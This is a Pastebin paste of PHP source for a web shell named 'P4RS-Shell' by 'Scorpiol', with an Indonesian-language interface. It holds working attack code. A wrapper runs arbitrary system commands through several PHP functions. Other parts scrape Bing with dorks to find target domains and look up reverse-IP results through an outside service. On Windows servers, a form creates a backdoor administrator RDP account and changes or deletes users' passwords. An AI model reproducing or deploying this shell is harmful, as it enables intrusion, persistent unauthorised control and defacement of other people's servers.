Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <title>P4RS-Shell - Scorpiol</title>
- <style type='text/css'>
- @import url(https://fonts.googleapis.com/css?family=Ubuntu);
- html {
- background: #000000;
- color: #ffffff;
- font-family: 'Ubuntu';
- font-size: 13px;
- width: 100%;
- }
- li {
- display: inline;
- margin: 5px;
- padding: 5px;
- }
- table, th, td {
- border-collapse:collapse;
- font-family: Tahoma, Geneva, sans-serif;
- background: transparent;
- font-family: 'Ubuntu';
- font-size: 13px;
- }
- .table_home, .th_home, .td_home {
- border: 1px solid #ffffff;
- }
- th {
- padding: 10px;
- }
- a {
- color: #ffffff;
- text-decoration: none;
- }
- a:hover {
- color: gold;
- text-decoration: underline;
- }
- b {
- color: gold;
- }
- input[type=text], input[type=password],input[type=submit] {
- background: transparent;
- color: #ffffff;
- border: 1px solid #ffffff;
- margin: 5px auto;
- padding-left: 5px;
- font-family: 'Ubuntu';
- font-size: 13px;
- }
- textarea {
- border: 1px solid #ffffff;
- width: 100%;
- height: 400px;
- padding-left: 5px;
- margin: 10px auto;
- resize: none;
- background: transparent;
- color: #ffffff;
- font-family: 'Ubuntu';
- font-size: 13px;
- }
- select {
- width: 152px;
- background: #000000;
- color: lime;
- border: 1px solid #ffffff;
- margin: 5px auto;
- padding-left: 5px;
- font-family: 'Ubuntu';
- font-size: 13px;
- }
- option:hover {
- background: lime;
- color: #000000;
- }
- </style>
- </head>
- <?php
- function w($dir,$perm) {
- if(!is_writable($dir)) {
- return "<font color=red>".$perm."</font>";
- } else {
- return "<font color=lime>".$perm."</font>";
- }
- }
- function r($dir,$perm) {
- if(!is_readable($dir)) {
- return "<font color=red>".$perm."</font>";
- } else {
- return "<font color=lime>".$perm."</font>";
- }
- }
- function exe($cmd) {
- if(function_exists('system')) {
- @ob_start();
- @system($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('exec')) {
- @exec($cmd,$results);
- $buff = "";
- foreach($results as $result) {
- $buff .= $result;
- } return $buff;
- } elseif(function_exists('passthru')) {
- @ob_start();
- @passthru($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('shell_exec')) {
- $buff = @shell_exec($cmd);
- return $buff;
- }
- }
- function perms($file){
- $perms = fileperms($file);
- if (($perms & 0xC000) == 0xC000) {
- // Socket
- $info = 's';
- } elseif (($perms & 0xA000) == 0xA000) {
- // Symbolic Link
- $info = 'l';
- } elseif (($perms & 0x8000) == 0x8000) {
- // Regular
- $info = '-';
- } elseif (($perms & 0x6000) == 0x6000) {
- // Block special
- $info = 'b';
- } elseif (($perms & 0x4000) == 0x4000) {
- // Directory
- $info = 'd';
- } elseif (($perms & 0x2000) == 0x2000) {
- // Character special
- $info = 'c';
- } elseif (($perms & 0x1000) == 0x1000) {
- // FIFO pipe
- $info = 'p';
- } else {
- // Unknown
- $info = 'u';
- }
- // Owner
- $info .= (($perms & 0x0100) ? 'r' : '-');
- $info .= (($perms & 0x0080) ? 'w' : '-');
- $info .= (($perms & 0x0040) ?
- (($perms & 0x0800) ? 's' : 'x' ) :
- (($perms & 0x0800) ? 'S' : '-'));
- // Group
- $info .= (($perms & 0x0020) ? 'r' : '-');
- $info .= (($perms & 0x0010) ? 'w' : '-');
- $info .= (($perms & 0x0008) ?
- (($perms & 0x0400) ? 's' : 'x' ) :
- (($perms & 0x0400) ? 'S' : '-'));
- // World
- $info .= (($perms & 0x0004) ? 'r' : '-');
- $info .= (($perms & 0x0002) ? 'w' : '-');
- $info .= (($perms & 0x0001) ?
- (($perms & 0x0200) ? 't' : 'x' ) :
- (($perms & 0x0200) ? 'T' : '-'));
- return $info;
- }
- function hdd($s) {
- if($s >= 1073741824)
- return sprintf('%1.2f',$s / 1073741824 ).' GB';
- elseif($s >= 1048576)
- return sprintf('%1.2f',$s / 1048576 ) .' MB';
- elseif($s >= 1024)
- return sprintf('%1.2f',$s / 1024 ) .' KB';
- else
- return $s .' B';
- }
- function ambilKata($param, $kata1, $kata2){
- if(strpos($param, $kata1) === FALSE) return FALSE;
- if(strpos($param, $kata2) === FALSE) return FALSE;
- $start = strpos($param, $kata1) + strlen($kata1);
- $end = strpos($param, $kata2, $start);
- $return = substr($param, $start, $end - $start);
- return $return;
- }
- function getsource($url) {
- $curl = curl_init($url);
- curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
- $content = curl_exec($curl);
- curl_close($curl);
- return $content;
- }
- function bing($dork) {
- $npage = 1;
- $npages = 30000;
- $allLinks = array();
- $lll = array();
- while($npage <= $npages) {
- $x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);
- if($x) {
- preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
- foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
- $npage = $npage + 10;
- if (preg_match("(first=" . $npage . "&)siU", $x, $linksuiv) == 0) break;
- } else break;
- }
- $URLs = array();
- foreach($allLinks as $url){
- $exp = explode("/", $url);
- $URLs[] = $exp[2];
- }
- $array = array_filter($URLs);
- $array = array_unique($array);
- $sss = count(array_unique($array));
- foreach($array as $domain) {
- echo $domain."\n";
- }
- }
- function reverse($url) {
- $ch = curl_init("http://domains.yougetsignal.com/domains.php");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
- curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_POST, 1);
- $resp = curl_exec($ch);
- $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
- $array = explode(",,", $resp);
- unset($array[0]);
- foreach($array as $lnk) {
- $lnk = "http://$lnk";
- $lnk = str_replace(",", "", $lnk);
- echo $lnk."\n";
- ob_flush();
- flush();
- }
- curl_close($ch);
- }
- if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
- if($_POST['create']) {
- $user = htmlspecialchars($_POST['user']);
- $pass = htmlspecialchars($_POST['pass']);
- if(preg_match("/$user/", exe("net user"))) {
- echo "[INFO] -> <font color=red>user <font color=lime>$user</font> sudah ada</font>";
- } else {
- $add_user = exe("net user $user $pass /add");
- $add_groups1 = exe("net localgroup Administrators $user /add");
- $add_groups2 = exe("net localgroup Administrator $user /add");
- $add_groups3 = exe("net localgroup Administrateur $user /add");
- echo "[ RDP ACCOUNT INFO ]<br>
- ------------------------------<br>
- IP: <font color=lime>".$ip."</font><br>
- Username: <font color=lime>$user</font><br>
- Password: <font color=lime>$pass</font><br>
- ------------------------------<br><br>
- [ STATUS ]<br>
- ------------------------------<br>
- ";
- if($add_user) {
- echo "[add user] -> <font color='lime'>Berhasil</font><br>";
- } else {
- echo "[add user] -> <font color='red'>Gagal</font><br>";
- }
- if($add_groups1) {
- echo "[add localgroup Administrators] -> <font color='lime'>Berhasil</font><br>";
- } elseif($add_groups2) {
- echo "[add localgroup Administrator] -> <font color='lime'>Berhasil</font><br>";
- } elseif($add_groups3) {
- echo "[add localgroup Administrateur] -> <font color='lime'>Berhasil</font><br>";
- } else {
- echo "[add localgroup] -> <font color='red'>Gagal</font><br>";
- }
- echo "------------------------------<br>";
- }
- } elseif($_POST['s_opsi']) {
- $user = htmlspecialchars($_POST['r_user']);
- if($_POST['opsi'] == '1') {
- $cek = exe("net user $user");
- echo "Checking username <font color=lime>$user</font> ....... ";
- if(preg_match("/$user/", $cek)) {
- echo "[ <font color=lime>Sudah ada</font> ]<br>
- ------------------------------<br><br>
- <pre>$cek</pre>";
- } else {
- echo "[ <font color=red>belum ada</font> ]";
- }
- } elseif($_POST['opsi'] == '2') {
- $cek = exe("net user $user ScorpiolDefacer");
- if(preg_match("/$user/", exe("net user"))) {
- echo "[change password: <font color=lime>Scorpiol</font>] -> ";
- if($cek) {
- echo "<font color=lime>Berhasil</font>";
- } else {
- echo "<font color=red>Gagal</font>";
- }
- } else {
- echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
- }
- } elseif($_POST['opsi'] == '3') {
- $cek = exe("net user $user /DELETE");
- if(preg_match("/$user/", exe("net user"))) {
- echo "[remove user: <font color=lime>$user</font>] -> ";
- if($cek) {
- echo "<font color=lime>Berhasil</font>";
- } else {
- echo "<font color=red>Gagal</font>";
- }
- } else {
- echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
- }
- } else {
- //
- }
- } else {
- echo "<center>";
- echo "-- Create RDP --<br>
- <form method='post'>
- <input type='text' name='user' placeholder='username' value='ScorpiolDefacer' required>
- <input type='text' name='pass' placeholder='password' value='ScorpiolDefacer' required>
- <input type='submit' name='create' value='>>'>
- </form>
- -- Option --<br>
- <form method='post'>
- <input type='text' name='r_user' placeholder='username' required>
- <select name='opsi'>
- <option value='1'>Cek Username</option>
- <option value='2'>Ubah Password</option>
- <option value='3'>Hapus Username</option>
- </select>
- <input type='submit' name='s_opsi' value='>>'>
- </form>
- </center>";
- }
- } else {
- echo "<font color=red>Fitur ini hanya dapat digunakan dalam Windows Server.</font>";
- }
- ?>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement